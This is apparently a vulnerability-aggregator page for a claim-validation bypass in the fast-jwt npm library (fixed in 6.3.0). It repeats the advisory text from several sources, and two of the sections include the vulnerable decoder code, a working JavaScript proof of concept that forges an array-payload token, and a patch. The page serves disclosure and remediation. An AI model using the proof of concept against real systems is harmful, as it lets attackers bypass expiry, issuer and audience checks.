Every CVE Search/ Get API key

CVE-2026-107723

fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

8.1 HighFix available

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.46%Up 0.1 points since Oct 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Record
CVE-2026-107723
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-1287
Updated
2026-11-02
EUVDEUVD-2026-95348 8.1

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Record
EUVD-2026-95348
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5hjw-83fp-phq9 8.1

fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

Summary

fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.

Details

The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:

// src/decoder.js:49 — header check (correct)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
  throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}

// src/decoder.js:65 — payload check (vulnerable)
if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
numeric indices and length):

// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
  const value = payload[claim]
  ...
  if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.
    continue                      // every validator silently skipped
  }
  ...
}

Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
returned to the caller. The verifier returns the array as the payload.

requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
opt-in and not commonly configured.

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
inside the validator loop body and is never reached for this variant.

PoC

const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')

const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`

const verify = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience'],
  allowedSub: ['legit-subject']
  // exp enforcement is on by default
})

console.log(verify(token))
// Output: [ 'attacker', 'role:admin' ]
// No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

// Control: an object payload with the same garbage claims is correctly rejected:
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

Verified against fast-jwt v6.2.4 (current master, commit a510448).

Suggested patch (src/decoder.js:65):

  • if (!payload || typeof payload !== 'object') {
  • if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

This mirrors the existing header guard at line 49.

Impact

Type: Silent authorization-validator bypass. When a validly-signed…

Record
GHSA-5hjw-83fp-phq9
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-1287
Updated
2026-11-02
NVD 8.1

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Record
CVE-2026-107723
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-1287
Updated
2026-11-02
OSV 8.1

fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Record
CVE-2026-107723
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-1287
Updated
2026-11-02
OSVGHSA-5hjw-83fp-phq9 8.1

fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

Summary

fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.

Details

The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:

// src/decoder.js:49 — header check (correct)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
  throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}

// src/decoder.js:65 — payload check (vulnerable)
if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
numeric indices and length):

// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
  const value = payload[claim]
  ...
  if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.
    continue                      // every validator silently skipped
  }
  ...
}

Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
returned to the caller. The verifier returns the array as the payload.

requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
opt-in and not commonly configured.

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
inside the validator loop body and is never reached for this variant.

PoC

const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')

const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`

const verify = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience'],
  allowedSub: ['legit-subject']
  // exp enforcement is on by default
})

console.log(verify(token))
// Output: [ 'attacker', 'role:admin' ]
// No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

// Control: an object payload with the same garbage claims is correctly rejected:
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

Verified against fast-jwt v6.2.4 (current master, commit a510448).

Suggested patch (src/decoder.js:65):

  • if (!payload || typeof payload !== 'object') {
  • if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

This mirrors the existing header guard at line 49.

Impact

Type: Silent authorization-validator bypass. When a validly-signed…

Record
GHSA-5hjw-83fp-phq9
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-1287
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
fast-jwt
npm
through 6.2.4
6.3.0
fast-jwt
npm
before 6.3.0
6.3.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-107723 is a high vulnerability (CVSS 8.1) in Nearform Fast-jwt, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 39th percentile. Fixed in fast-jwt 6.3.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open